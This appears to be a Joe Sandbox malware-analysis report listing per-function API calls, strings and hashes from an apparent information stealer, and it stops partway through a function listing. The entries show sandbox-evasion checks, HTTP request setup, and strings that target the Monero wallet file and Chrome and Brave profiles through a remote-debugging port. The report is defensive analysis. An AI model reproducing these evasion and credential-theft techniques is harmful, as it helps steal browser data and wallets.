Opcode ID: 262150f45f7f2f81587b6418f684a2e6f37e8c915c1804c6466da2710c6797ab
Instruction ID: 93135b4146d95093e21db76d2db258b393c9be5984f02a457514639dc8d3dbbd
Opcode Fuzzy Hash: 262150f45f7f2f81587b6418f684a2e6f37e8c915c1804c6466da2710c6797ab
Instruction Fuzzy Hash: E3310C31A04228ABCB19F7F0FC57AEEB379AF24340F900928F612661D1DF706965C762

Function 00111220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0011123E
__aulldiv.LIBCMT ref: 00111258
__aulldiv.LIBCMT ref: 00111266
ExitProcess.KERNEL32 ref: 00111294

Strings

@, xrefs: 00111233

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 67acaf4f15a6d11867f3939d241b968f69fcab1b854e94c73c11360321549c22
Instruction ID: c11a626d674cb3cb815bd8cdfbc8f37e1eb0857d0336506212b05f11ed27bc5b
Opcode Fuzzy Hash: 67acaf4f15a6d11867f3939d241b968f69fcab1b854e94c73c11360321549c22
Instruction Fuzzy Hash: 1E014BB0D44318BAEF14DFE4DC4ABAEBB78AB14705F208458E704BA1C0D77455818B59

Function 00126D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E39180,?,001310F4,?,00000000,?,001310F8,?,00000000,00130AF3), ref: 00126D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00126D88
CloseHandle.KERNEL32(00000000), ref: 00126D99
Sleep.KERNEL32(00001770), ref: 00126DA4
CloseHandle.KERNEL32(?,00000000,?,00E39180,?,001310F4,?,00000000,?,001310F8,?,00000000,00130AF3), ref: 00126DBA
ExitProcess.KERNEL32 ref: 00126DC2

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 979be8a05360e8bed210ddf0c5939455942dd51b84f68533858eb421368dc7ed
Instruction ID: 78a943bd40ea49563551a627629e5e0ee592757ebc3040fe99312fca5796d2e4
Opcode Fuzzy Hash: 979be8a05360e8bed210ddf0c5939455942dd51b84f68533858eb421368dc7ed
Instruction Fuzzy Hash: 26F08230A4832DEFEB25BBE0FC4ABBD3378AF14701F500615F612A91D1CBB05910CA61

Function 00114800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00114889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00114899

Strings

<, xrefs: 00114819

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 0c5f85c44cfc03d94eeca8f47c598b1c9e99eba593743c5f8ab41c5f168363c9
Instruction ID: 4bc1b2ab170b7e781d29f3f67685fd71888c0c1bd0b3946c33e006f5b515a75f
Opcode Fuzzy Hash: 0c5f85c44cfc03d94eeca8f47c598b1c9e99eba593743c5f8ab41c5f168363c9
Instruction Fuzzy Hash: 1A211FB1D00209ABDF14DFA4E845ADE7B79FF45320F508625FA15A72D0EB706A09CF91

Function 00125440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 001162D0: InternetOpenA.WININET(00130DFF,00000001,00000000,00000000,00000000), ref: 00116331
Part of subcall function 001162D0: StrCmpCA.SHLWAPI(?,00E3F970), ref: 00116353
Part of subcall function 001162D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00116385
Part of subcall function 001162D0: HttpOpenRequestA.WININET(00000000,GET,?,00E3F0E0,00000000,00000000,00400100,00000000), ref: 001163D5
Part of subcall function 001162D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0011640F
Part of subcall function 001162D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00116421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00125478

Strings

ERROR, xrefs: 001254C3
ERROR, xrefs: 0012546A

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 321e12012d3eaa08d6d483c7ec729d33022c332b5849d93071d52f3777b09251
Instruction ID: 764dfb3c4ad204e3ee79459eb2889605b18cf48ad98144ef4df2a7119f4da1ae
Opcode Fuzzy Hash: 321e12012d3eaa08d6d483c7ec729d33022c332b5849d93071d52f3777b09251
Instruction Fuzzy Hash: 09111230900118ABCB18FFA4FD92AED7339AF60340FC04568F91A5B492FF30AB64CA51

Function 00127A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00127AA0
RtlAllocateHeap.NTDLL(00000000), ref: 00127AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00127ABF

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 73e8d32eca05306df82b2158438b6d0bc5a40b74d1dac2674a3e73c000107b09
Instruction ID: e9f8f390fb2a03cb2637169c9be9ec0c51b3577bdb5557654a2d246e79f0c637
Opcode Fuzzy Hash: 73e8d32eca05306df82b2158438b6d0bc5a40b74d1dac2674a3e73c000107b09
Instruction Fuzzy Hash: 8B0186B1908259ABC714CF98ED85BAFBBBCF704721F100619F605E72C0D7755A0087A1

Function 00111110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0011112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00111132
ExitProcess.KERNEL32 ref: 00111143

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 31b46cd4412b74e3f2a17f46850582db69faaea7516855198975b5fc9d8aff62
Instruction ID: e8776c582e2edaad820a97d8d19b4e64e5a9090fdaf04b49d60a205a78e7e532
Opcode Fuzzy Hash: 31b46cd4412b74e3f2a17f46850582db69faaea7516855198975b5fc9d8aff62
Instruction Fuzzy Hash: 85E08670D89308FBE7259BA09C0AB4CB66C9B04B01F100254F7087A1D0C7B425404658

Function 001110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001110B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001110F7

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 14d63916fd1cfc00aa3761a85ede7288a752e4610845e4e355ef1d4cddc2f73c
Instruction ID: 94c6ae647b86cb7afe2123f2dcd97a3332c89bfb4247cd374eeb9d4696069440
Opcode Fuzzy Hash: 14d63916fd1cfc00aa3761a85ede7288a752e4610845e4e355ef1d4cddc2f73c
Instruction Fuzzy Hash: 83F08971641314BBE71496A4AC59FAEB79CE705705F300558F604E7280D6719E409664

Function 00111190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00127A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00127AA0
Part of subcall function 00127A70: RtlAllocateHeap.NTDLL(00000000), ref: 00127AA7
Part of subcall function 00127A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00127ABF

Part of subcall function 001279E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001111B7), ref: 00127A10
Part of subcall function 001279E0: RtlAllocateHeap.NTDLL(00000000), ref: 00127A17
Part of subcall function 001279E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00127A2F

ExitProcess.KERNEL32 ref: 001111C6

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 234e5cb3d2e84596aeba5174ca59564ffdc8701238381847b76995d16668ac01
Instruction ID: 82dca535f780e33845713de54f10dfdef5866ab12d881b938795988f4c9a2bd1
Opcode Fuzzy Hash: 234e5cb3d2e84596aeba5174ca59564ffdc8701238381847b76995d16668ac01
Instruction Fuzzy Hash: 7FE017B590831167CA2873B4BC47B6BB28C5B2435EF040928FA0996182EF25EC618265

Non-executed Functions

Function 0011BE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

FindFirstFileA.KERNEL32(00000000,?,00130B32,00130B2F,00000000,?,?,?,00131450,00130B2E), ref: 0011BEC5
StrCmpCA.SHLWAPI(?,00131454), ref: 0011BF33
StrCmpCA.SHLWAPI(?,00131458), ref: 0011BF49
FindNextFileA.KERNEL32(000000FF,?), ref: 0011C8A9
FindClose.KERNEL32(000000FF), ref: 0011C8BB

Strings

Preferences, xrefs: 0011C104
--remote-debugging-port=9229 --profile-directory=", xrefs: 0011C3B2
\Brave\Preferences, xrefs: 0011C1C1
--remote-debugging-port=9229 --profile-directory=", xrefs: 0011C534
Brave, xrefs: 0011C0E8
Google Chrome, xrefs: 0011C6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 0011C495

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: 71ecc36276c7495d5fb6e63aba50f17432c75cb2d84c12dbc53c3349eab782a0
Instruction ID: ae67fb9deb51074ee3e587d4d77ce9443c9ceaad4888be93a9045fa4363a0512
Opcode Fuzzy Hash: 71ecc36276c7495d5fb6e63aba50f17432c75cb2d84c12dbc53c3349eab782a0
Instruction Fuzzy Hash: AC52F6729101189BCB24FB60ED96EEE737DAF64300F8045A9F50A67191EF346B58CF62

Function 00123B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00123B1C
FindFirstFileA.KERNEL32(?,?), ref: 00123B33
lstrcat.KERNEL32(?,?), ref: 00123B85
StrCmpCA.SHLWAPI(?,00130F58), ref: 00123B97
StrCmpCA.SHLWAPI(?,00130F5C), ref: 00123BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00123EB7
FindClose.KERNEL32(000000FF), ref: 00123ECC

Strings

%s\*, xrefs: 00123B10
%s\%s, xrefs: 00123BCA
%s\%s, xrefs: 00123CBF
%s%s, xrefs: 00123CFD
%s\%s\%s, xrefs: 00123C9A

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 8099aa7b8ef29176a15945bab207f2fea80679e4d1bda5f01473d76d4f5a1a0f
Instruction ID: ad38a3b56786d8321a52f45906e2c07f5345487afaa90635dcb275b1e093803f
Opcode Fuzzy Hash: 8099aa7b8ef29176a15945bab207f2fea80679e4d1bda5f01473d76d4f5a1a0f
Instruction Fuzzy Hash: 12A14F71A00258ABDB35DFA4DC85FEA737DAF58300F044688F61D9A181EB749B98CF61

Function 00124B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

